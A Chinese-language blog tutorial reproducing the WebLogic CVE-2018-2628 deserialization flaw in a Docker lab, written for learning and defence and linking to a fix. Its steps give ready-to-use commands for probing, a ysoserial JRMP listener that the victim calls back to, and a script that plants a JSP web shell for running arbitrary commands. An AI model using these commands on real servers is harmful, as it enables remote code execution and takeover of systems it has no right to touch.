前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Weblogic漏洞复现攻与防系列三:Java反序列化漏洞操作(CVE-2018-2628)

Weblogic漏洞复现攻与防系列三:Java反序列化漏洞操作(CVE-2018-2628)

作者头像
Power7089
发布2020-02-17 12:01:44
2.1K0
发布2020-02-17 12:01:44
举报
文章被收录于专栏:闪石星曜CyberSecurity

注意:

代码语言:javascript
复制
本系列分享,意在大家了解漏洞,防御漏洞,在做完一个漏洞复现完成后,
请及时使用最后防御手法进行防御,或特定情况根据特定手法防御。
记住,切勿用于违法行为。

进入正题

Java反序列化漏洞操作

CVE-2018-2628

1、Java序列化与Java反序列化:

Java序列化:即把Java对象转换为字节序列的过程

Java反序列化:是指把字节序列恢复为Java对象的过程

目的:

序列化与反序列化目的是为了让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信,对象持久化存储。

2、Java反序列化漏洞成因:

在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的API,导致用户可以操作,并传入数据,或精心构造恶意代码。

3、相关历史漏洞简介:

#CVE-2015-4852

Weblogic直接反序列化

是基于Weblogic t3协议引起远程代码执行的反序列化漏洞

#CVE-2016-0638

Weblogic直接反序列化

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过拜Oracle一直以来的黑名单修复方式所赐

#CVE-2016-3510

基于Weblogic t3协议引起远程代码执行的反序列化漏洞

#CVE-2017-3248

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化

#CVE-2018-2628

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 WeblogicJRMP反序列化

#CVE-2018-2893

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过同样拜Oracle一直以来的黑名单修复方式所赐 属于WeblogicJRMP反序列化

4、该漏洞涉及版本:

代码语言:javascript
复制
10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3,...

5、漏洞复现流程:

方法一:

1、首先,使用Nmap下的weblogic-t3-info脚本来探测一下目标信息,是否正在使用T3协议,

具体命令:

代码语言:javascript
复制
nmap -n -v -p 7001 目标地址 --script=weblogic-t3-info

返回信息如下,代表目标正在使用T3协议:

2、使用Python脚本针对目标进行探测,是否存在漏洞Java反序列化漏洞,脚本地址:看文末获取方式

3、根据前面探测的信息,我们发现目标存在Java反序列化漏洞,来让我们进一步攻击它吧。此时我们需要使用到“ysoserial”这个工具。

ysoserial工具地址:看文末获取方式

4、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令:

代码语言:javascript
复制
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener[listen port] CommonsCollections1 [command]

[listenport]:攻击机要监听的端口
[command]:想要执行的命令

5、使用44553.py脚本来向目标发送数据包(基于python2.x),该脚本会让靶机调用相关服务来访问我们启动的JRMP server,执行我们想要执行的命令。

代码语言:javascript
复制
python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip][JRMPListener port] [JRMPClient]
代码语言:javascript
复制
[victimip]:目标weblogic的IP
[victimport]:目标weblogic的端口
[pathto ysoserial] :ysoserial的路径
[JRMPListenerip] :第一步中启动JRMP Server的IP地址
[JRMPListener port] :第一步中启动JRMP Server的I端口地址
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

6、等待一小会时间,双方会进行握手,进行数据交互,然后成功执行命令。

上图该实例仅是执行过程中的一部分,具体请实践观察。

1、现在我们进入虚拟中,来查看我们的文件是否执行成功,首先进入虚拟机命令:

代码语言:javascript
复制
docker ps -a  来查看想要进入容器的id
docker exec -ti 容器id或者容器名称 /bin/bash

9、通过上图发现成功的执行了创建文件命令。

方法二:

该方法,来自github上的一个python脚本,可以使用该方法执行一些命令。

地址:

代码语言:javascript
复制
https://github.com/jas502n/CVE-2018-2628

1、 该文件我同样下载下来了,在下面打包连接中,我们使用的脚本地址在:

看文末获取

我们首先使用的是CVE-2018-2628-Getshell.py这个脚本,该脚本基于python2.x

执行命令:

代码语言:javascript
复制
pythonCVE-2018-2628-Getshell.py 目标地址 目标端口 test11.js

(注意: 上面test11.jsp为你起的文件名,改名字需要长度等于10)

2、现在我们已经获取了一个地址,打开浏览器访问它:

3、我们执行了whoami的命令。上面 tom后面的变量即为 whomai的base64编码,我们可以使用kali 来生成任意base64编码,来替换该变量,以达到执行任意命令:

4、不难发现,上面我的test11变为了test12,是因为我在进行多次测试的时候发现,生成完一次脚本的连接仅能访问一次,第二次访问会返回404,但这个脚本确实有很多学习的地方。大家可以学学作者思路,进行自己的改造。

重要

防御:

代码语言:javascript
复制
推荐使用该文章方法修复漏洞:
http://www.talkwithtrend.com/Article/178555

---关于工具后台发送---

CVE20182628

请勿使用该工具进行违法行为

仅可以用于自己网站检测

除了上述两种方法

还有其他两个自测工具

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 小白帽学习之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档